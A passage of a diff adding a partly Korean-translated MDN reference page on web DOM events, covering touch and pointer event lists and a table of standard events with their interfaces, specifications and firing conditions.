+ <a href="/en-US/docs/Web/Reference/Events/MozRotateGestureStart">MozRotateGestureStart</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozRotateGestureUpdate">MozRotateGestureUpdate</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozSwipeGesture">MozSwipeGesture</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozTapGesture">MozTapGesture</a><br>
+ <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchDown</a><br>
+ <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchMove</a><br>
+ <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchUp</a><br>
+ {{Event("touchcancel")}}<br>
+ {{Event("touchend")}}<br>
+ {{Event("touchenter")}}<br>
+ {{Event("touchleave")}}<br>
+ {{Event("touchmove")}}<br>
+ {{Event("touchstart")}}</p>
+
+<h3 id="포인터_이벤트">포인터 이벤트</h3>
+
+<p>{{Event("pointerover")}}<br>
+ {{Event("pointerenter")}}<br>
+ {{Event("pointerdown")}}<br>
+ {{Event("pointermove")}}<br>
+ {{Event("pointerup")}}<br>
+ {{Event("pointercancel")}}<br>
+ {{Event("pointerout")}}<br>
+ {{Event("pointerleave")}}<br>
+ {{Event("gotpointercapture")}}<br>
+ {{Event("lostpointercapture")}}</p>
+
+<h2 id="표준_이벤트">표준 이벤트</h2>
+
+<p>다음 이벤트들은 공식 웹 명세에 정의되어있으며, 브라우저사이에서 공통입니다. 각 이벤트는 이벤트의 수신자에게 전송되는 객체를 나타내는 인터페이스 및 이벤트를 정의한 명세 또는 명세로의 링크를 나열합니다(따라서 각 이벤트와 제공된 데이터에 대한 정보를 찾을 수 있습니다).</p>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">Event Type</th>
+ <th scope="col">Specification</th>
+ <th scope="col">Fired when...</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("abort")}}</td>
+ <td>{{DOMxRef("UIEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-abort" style="white-space: nowrap;">DOM L3</a></td>
+ <td>The loading of a resource has been aborted.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/abort_(ProgressEvent)">abort</a></code></td>
+ <td>{{DOMxRef("ProgressEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/progress-events/">Progress</a> and <a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-abort">XMLHttpRequest</a></td>
+ <td>Progression has been terminated (not due to an error).</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/abort_indexedDB">abort</a></code></td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
+ <td>A transaction has been aborted.</td>
+ </tr>
+ <tr>
+ <td>{{Event("afterprint")}}{{gecko_minversion_inline("6")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
+ <td>The associated document has started printing or the print preview has been closed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("animationend")}}</td>
+ <td>{{DOMxRef("AnimationEvent")}} {{Experimental_Inline}}</td>
+ <td><a href="http://www.w3.org/TR/css3-animations/#animation-events" style="white-space: nowrap;">CSS Animations</a></td>
+ <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> has completed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("animationiteration")}}</td>
+ <td>{{DOMxRef("AnimationEvent")}} {{Experimental_Inline}}</td>
+ <td><a href="http://www.w3.org/TR/css3-animations/#animation-events" style="white-space: nowrap;">CSS Animations</a></td>
+ <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> is repeated.</td>
+ </tr>
+ <tr>
+ <td>{{Event("animationstart")}}</td>
+ <td>{{DOMxRef("AnimationEvent")}} {{Experimental_Inline}}</td>
+ <td><a href="http://www.w3.org/TR/css3-animations/#animation-events" style="white-space: nowrap;">CSS Animations</a></td>
+ <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> has started.</td>
+ </tr>
+ <tr>
+ <td>{{Event("appinstalled")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="/en-US/docs/Web/Manifest" style="white-space: nowrap;">Web App Manifest</a></td>
+ <td>A web application is successfully installed as a <a href="https://developer.mozilla.org/en-US/Apps/Progressive">progressive web app</a>.</td>
+ </tr>
+ <tr>
+ <td>{{Event("audioprocess")}}</td>
+ <td>{{DOMxRef("AudioProcessingEvent")}} {{Deprecated_Inline}}</td>
+ <td>{{SpecName('Web Audio API', '#AudioProcessingEvent', 'audioprocess')}}</td>
+ <td>The input buffer of a {{DOMxRef("ScriptProcessorNode")}} is ready to be processed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("audioend")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>The user agent has finished capturing audio for speech recognition.</td>
+ </tr>
+ <tr>
+ <td>{{Event("audiostart")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>The user agent has started to capture audio for speech recognition.</td>
+ </tr>
+ <tr>
+ <td>{{Event("beforeprint")}} {{gecko_minversion_inline("6")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
+ <td>The associated document is about to be printed or previewed for printing.</td>
+ </tr>
+ <tr>
+ <td>{{Event("beforeunload")}}</td>
+ <td>{{DOMxRef("BeforeUnloadEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/html5/browsers.html#unloading-documents">HTML5</a></td>
+ <td>The window, the document and its resources are about to be unloaded.</td>
+ </tr>
+ <tr>
+ <td>{{Event("beginEvent")}}</td>
+ <td>{{DOMxRef("TimeEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+ <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element begins.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code></td>
+ <td></td>
+ <td><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+ <td>An open connection to a database is blocking a <code>versionchange</code> transaction on the same database.</td>
+ </tr>
+ <tr>
+ <td>{{Event("blur")}}</td>
+ <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-blur" style="white-space: nowrap;">DOM L3</a></td>
+ <td>An element has lost focus (does not bubble).</td>
+ </tr>
+ <tr>
+ <td>{{Event("boundary")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("SpeechSynthesisEvent")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>The spoken utterance reaches a word or sentence boundary</td>
+ </tr>
+ <tr>
+ <td>{{Event("cached")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+ <td>The resources listed in the manifest have been downloaded, and the application is now cached.</td>
+ </tr>
+ <tr>
+ <td>{{Event("canplay")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplay" style="white-space: nowrap;">HTML5 media</a></td>
+ <td>The user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.</td>
+ </tr>
+ <tr>
+ <td>{{Event("canplaythrough")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplaythrough" style="white-space: nowrap;">HTML5 media</a></td>
+ <td>The user agent can play the media up to its end without having to stop for further buffering of content.</td>
+ </tr>
+ <tr>
+ <td>{{Event("change")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#event-input-change">HTML5</a></td>
+ <td>The <code>change</code> event is fired for {{HTMLElement("input")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}} elements when a change to the element's value is committed by the user.</td>
+ </tr>
+ <tr>
+ <td>{{Event("chargingchange")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html" style="white-space: nowrap;">Battery status</a></td>
+ <td>The battery begins or stops charging.</td>
+ </tr>
+ <tr>
+ <td>{{Event("chargingtimechange")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html" style="white-space: nowrap;">Battery status</a></td>
+ <td>The <code>chargingTime</code> attribute has been updated.</td>
+ </tr>
+ <tr>
+ <td>{{Event("checking")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+ <td>The user agent is checking for an update, or attempting to download the cache manifest for the first time.</td>
+ </tr>
+ <tr>
+ <td>{{Event("click")}}</td>
+ <td>{{DOMxRef("MouseEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-click" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A pointing device button has been pressed and released on an element.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/close_websocket">close</a></code></td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+ <td>A WebSocket connection has been closed.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/complete_indexedDB">complete</a></code></td>
+ <td></td>
+ <td><a href="http://www.w3.org/TR/IndexedDB/#transaction">IndexedDB</a></td>
+ <td>A transaction successfully completed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("complete")}}</td>
+ <td>{{DOMxRef("OfflineAudioCompletionEvent")}} {{Deprecated_Inline}}</td>
+ <td>{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}</td>
+ <td>The rendering of an {{DOMxRef("OfflineAudioContext")}} is terminated.</td>
+ </tr>
+ <tr>
+ <td>{{Event("compositionend")}}{{gecko_minversion_inline("9")}}</td>
+ <td>{{DOMxRef("CompositionEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionend" style="white-space: nowrap;">DOM L3</a></td>
+ <td>The composition of a passage of text has been completed or canceled.</td>
+ </tr>
+ <tr>
+ <td>{{Event("compositionstart")}}{{gecko_minversion_inline("9")}}</td>
+ <td>{{DOMxRef("CompositionEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionstart" style="white-space: nowrap;">DOM L3</a></td>
+ <td>The composition of a passage of text is prepared (similar to keydown for a keyboard input, but works with other inputs such as speech recognition).</td>
+ </tr>
+ <tr>
+ <td>{{Event("compositionupdate")}}{{gecko_minversion_inline("9")}}</td>
+ <td>{{DOMxRef("CompositionEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionupdate" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A character is added to a passage of text being composed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("contextmenu")}}</td>
+ <td>{{DOMxRef("MouseEvent")}}</td>
+ <td><a href="https://html.spec.whatwg.org/multipage/forms.html#context-menus">HTML5</a></td>
+ <td>The right button of the mouse is clicked (before the context menu is displayed).</td>
+ </tr>
+ <tr>
+ <td>{{Event("copy")}}</td>
+ <td>{{DOMxRef("ClipboardEvent")}} {{Experimental_Inline}}</td>
+ <td><a href="http://www.w3.org/TR/clipboard-apis/#copy-event">Clipboard</a></td>
+ <td>The text selection has been added to the clipboard.</td>
+ </tr>
+ <tr>
+ <td>{{Event("cut")}}</td>
+ <td>{{DOMxRef("ClipboardEvent")}} {{Experimental_Inline}}</td>
+ <td><a href="http://www.w3.org/TR/clipboard-apis/#cut-event">Clipboard</a></td>
+ <td>The text selection has been removed from the document and added to the clipboard.</td>
+ </tr>
+ <tr>
+ <td>{{Event("dblclick")}}</td>
+ <td>{{DOMxRef("MouseEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-dblclick" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A pointing device button is clicked twice on an element.</td>
+ </tr>
+ <tr>
+ <td>{{Event("devicechange")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{SpecName("Media Capture")}}</td>
+ <td>A media device such as a camera, microphone, or speaker is connected or removed from the system.</td>
+ </tr>
+ <tr>
+ <td>{{Event("devicelight")}}</td>
+ <td>{{DOMxRef("DeviceLightEvent")}} {{Experimental_Inline}}</td>
+ <td><a class="external" href="http://dvcs.w3.org/hg/dap/raw-file/tip/light/Overview.html" lang="en" title="The definition of 'Ambient Light Events' in that specification.">Ambient Light Events</a></td>
+ <td>Fresh data is available from a light sensor.</td>
+ </tr>
+ <tr>
+ <td>{{Event("devicemotion")}}</td>
+ <td>{{DOMxRef("DeviceMotionEvent")}} {{Experimental_Inline}}</td>
+ <td><a class="external" href="http://dev.w3.org/geo/api/spec-source-orientation.html" lang="en" title="The 'Device Orientation Events' specification">Device Orientation Events</a></td>
+ <td>Fresh data is available from a motion sensor.</td>
+ </tr>
+ <tr>
+ <td>{{Event("deviceorientation")}}</td>
+ <td>{{DOMxRef("DeviceOrientationEvent")}} {{Experimental_Inline}}</td>
+ <td><a class="external" href="http://dev.w3.org/geo/api/spec-source-orientation.html" lang="en" title="The 'Device Orientation Events' specification">Device Orientation Events</a></td>
+ <td>Fresh data is available from an orientation sensor.</td>
+ </tr>
+ <tr>
+ <td>{{Event("deviceproximity")}}</td>
+ <td>{{DOMxRef("DeviceProximityEvent")}} {{Experimental_Inline}}</td>
+ <td><a class="external" href="http://dvcs.w3.org/hg/dap/raw-file/tip/proximity/Overview.html" lang="en" title="The definition of 'Proximity Events' in that specification.">Proximity Events</a></td>
+ <td>Fresh data is available from a proximity sensor (indicates an approximated distance between the device and a nearby object).</td>
+ </tr>
+ <tr>
+ <td>{{Event("dischargingtimechange")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+ <td>The <code>dischargingTime</code> attribute has been updated.</td>
+ </tr>
+ <tr>
+ <td><code>DOMActivate</code> {{Deprecated_Inline}}</td>
+ <td>{{DOMxRef("UIEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMActivate" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A button, link or state changing element is activated (use {{Event("click")}} instead).</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttributeNameChanged</a></code> {{Deprecated_Inline}}</td>
+ <td>{{DOMxRef("MutationNameEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMAttributeNameChanged" style="white-space: nowrap;">DOM L3</a> Removed</td>
+ <td>The name of an attribute changed (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttrModified</a></code> {{Deprecated_Inline}}</td>
+ <td>{{DOMxRef("MutationEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMAttrModified" style="white-space: nowrap;">DOM L3</a></td>
+ <td>The value of an attribute has been modified (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code> {{Deprecated_Inline}}</td>
+ <td>{{DOMxRef("MutationEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMCharacterDataModified" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A text or another <a href="/en-US/docs/DOM/CharacterData">CharacterData</a> has changed (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+ </tr>
+ <tr>
+ <td>{{Event("DOMContentLoaded")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-end.html#the-end">HTML5</a></td>
+ <td>The document has finished loading (but not its dependent resources).</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMElementNameChanged</a></code> {{Deprecated_Inline}}</td>
+ <td>{{DOMxRef("MutationNameEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMElementNameChanged" style="white-space: nowrap;">DOM L3</a> Removed</td>
+ <td>The name of an element changed (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+ </tr>
+ <tr>
+ <td><code>DOMFocusIn</code> {{Deprecated_Inline}}</td>
+ <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusIn" style="white-space: nowrap;">DOM L3</a></td>
+ <td>An element has received focus (use {{Event("focus")}} or {{Event("focusin")}} instead).</td>
+ </tr>
+ <tr>
+ <td><code>DOMFocusOut</code> {{Deprecated_Inline}}</td>
+ <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusOut" style="white-space: nowrap;">DOM L3</a></td>
+ <td>An element has lost focus (use {{Event("blur")}} or {{Event("focusout")}} instead).</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInserted</a></code> {{Deprecated_Inline}}</td>
+ <td>{{DOMxRef("MutationEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInserted" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A node has been added as a child of another node (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code> {{Deprecated_Inline}}</td>
+ <td>{{DOMxRef("MutationEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInsertedIntoDocument" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A node has been inserted into the document (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemoved</a></code> {{Deprecated_Inline}}</td>
+ <td>{{DOMxRef("MutationEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemoved" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A node has been removed from its parent node (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code> {{Deprecated_Inline}}</td>
+ <td>{{DOMxRef("MutationEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemovedFromDocument" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A node has been removed from the document (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMSubtreeModified</a></code> {{Deprecated_Inline}}</td>
+ <td>{{DOMxRef("MutationEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMSubtreeModified" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A change happened in the document (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+ </tr>
+ <tr>
+ <td>{{Event("downloading")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+ <td>The user agent has found an update and is fetching it, or is downloading the resources listed by the cache manifest for the first time.</td>
+ </tr>
+ <tr>
+ <td>{{Event("drag")}}</td>
+ <td>{{DOMxRef("DragEvent")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drag">HTML5</a></td>
+ <td>An element or text selection is being dragged (every 350ms).</td>
+ </tr>
+ <tr>
+ <td>{{Event("dragend")}}</td>
+ <td>{{DOMxRef("DragEvent")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragend">HTML5</a></td>
+ <td>A drag operation is being ended (by releasing a mouse button or hitting the escape key).</td>
+ </tr>
+ <tr>
+ <td>{{Event("dragenter")}}</td>
+ <td>{{DOMxRef("DragEvent")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragenter">HTML5</a></td>
+ <td>A dragged element or text selection enters a valid drop target.</td>
+ </tr>
+ <tr>
+ <td>{{Event("dragleave")}}</td>
+ <td>{{DOMxRef("DragEvent")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragleave">HTML5</a></td>
+ <td>A dragged element or text selection leaves a valid drop target.</td>
+ </tr>
+ <tr>
+ <td>{{Event("dragover")}}</td>
+ <td>{{DOMxRef("DragEvent")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragover">HTML5</a></td>
+ <td>An element or text selection is being dragged over a valid drop target (every 350ms).</td>
+ </tr>
+ <tr>
+ <td>{{Event("dragstart")}}</td>
+ <td>{{DOMxRef("DragEvent")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragstart">HTML5</a></td>
+ <td>The user starts dragging an element or text selection.</td>
+ </tr>
+ <tr>
+ <td>{{Event("drop")}}</td>
+ <td>{{DOMxRef("DragEvent")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drop">HTML5</a></td>
+ <td>An element is dropped on a valid drop target.</td>
+ </tr>
+ <tr>
+ <td>{{Event("durationchange")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-durationchange">HTML5 media</a></td>
+ <td>The <code>duration</code> attribute has been updated.</td>
+ </tr>
+ <tr>
+ <td>{{Event("emptied")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-emptied">HTML5 media</a></td>
+ <td>The media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the <a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" rel="internal"><code>load()</code></a> method is called to reload it.</td>
+ </tr>
+ <tr>
+ <td>{{Event("end_(SpeechRecognition)","end")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>The speech recognition service has disconnected.</td>
+ </tr>
+ <tr>
+ <td>{{Event("end_(SpeechSynthesis)","end")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("SpeechSynthesisEvent")}}</td>
+ <td>{{SpecName("Web Speech API")}}</td>
+ <td>The utterance has finished being spoken.</td>
+ </tr>
+ <tr>
+ <td>{{Event("ended")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ended">HTML5 media</a></td>
+ <td>Playback has stopped because the end of the media was reached.</td>
+ </tr>
+ <tr>
+ <td>{{Event("ended_(Web_Audio)", "ended")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{SpecName("Web Audio API")}}</td>
+ <td>Playback has stopped because the end of the media was reached.</td>
+ </tr>
+ <tr>
+ <td>{{Event("endEvent")}}</td>
+ <td>{{DOMxRef("TimeEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+ <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element ends.</td>
+ </tr>
+ <tr>
+ <td>{{Event("error")}}</td>
+ <td>{{DOMxRef("UIEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-error" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A resource failed to load.</td>
+ </tr>
+ <tr>
+ <td>{{Event("error")}}</td>
+ <td>{{DOMxRef("ProgressEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> and </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-error">XMLHttpRequest</a></td>
+ <td>Progression has failed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("error")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+ <td>An error occurred while downloading the cache manifest or updating the content of the application.</td>
+ </tr>
+ <tr>
+ <td>{{Event("error")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+ <td>A WebSocket connection has been closed with prejudice (some data couldn't be sent for example).</td>
+ </tr>
+ <tr>
+ <td>{{Event("error")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+ <td>An event source connection has been failed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("error")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+ <td>A request caused an error and failed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("error_(SpeechRecognitionError)","error")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>A speech recognition error occurs.</td>
+ </tr>
+ <tr>
+ <td>{{Event("error_(SpeechSynthesisError)","error")}}</td>
+ <td>{{DOMxRef("SpeechSynthesisErrorEvent")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>An error occurs that prevents the utterance from being successfully spoken.</td>
+ </tr>
+ <tr>
+ <td>{{Event("focus")}}</td>
+ <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focus" style="white-space: nowrap;">DOM L3</a></td>
+ <td>An element has received focus (does not bubble).</td>
+ </tr>
+ <tr>
+ <td>{{Event("focusin")}}</td>
+ <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusIn" style="white-space: nowrap;">DOM L3</a></td>
+ <td>An element is about to receive focus (bubbles).</td>
+ </tr>
+ <tr>
+ <td>{{Event("focusout")}}</td>
+ <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusout" style="white-space: nowrap;">DOM L3</a></td>
+ <td>An element is about to lose focus (bubbles).</td>
+ </tr>
+ <tr>
+ <td>{{Event("fullscreenchange")}}{{gecko_minversion_inline("9")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
+ <td>An element was turned to fullscreen mode or back to normal mode.</td>
+ </tr>
+ <tr>
+ <td>{{Event("fullscreenerror")}}{{gecko_minversion_inline("9")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
+ <td>It was impossible to switch to fullscreen mode for technical reasons or because the permission was denied.</td>
+ </tr>
+ <tr>
+ <td>{{Event("gamepadconnected")}}</td>
+ <td>{{DOMxRef("GamepadEvent")}} {{Experimental_Inline}}</td>
+ <td><a href="http://www.w3.org/TR/gamepad/#the-gamepadconnected-event">Gamepad</a></td>
+ <td>A gamepad has been connected.</td>
+ </tr>
+ <tr>
+ <td>{{Event("gamepaddisconnected")}}</td>
+ <td>{{DOMxRef("GamepadEvent")}} {{Experimental_Inline}}</td>
+ <td><a href="http://www.w3.org/TR/gamepad/#the-gamepaddisconnected-event">Gamepad</a></td>
+ <td>A gamepad has been disconnected.</td>
+ </tr>
+ <tr>
+ <td>{{Event("gotpointercapture")}}</td>
+ <td>{{DOMxRef("PointerEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/pointerevents/#the-gotpointercapture-event">Pointer Events</a></td>
+ <td>Element receives pointer capture.</td>
+ </tr>
+ <tr>
+ <td>{{Event("hashchange")}}</td>
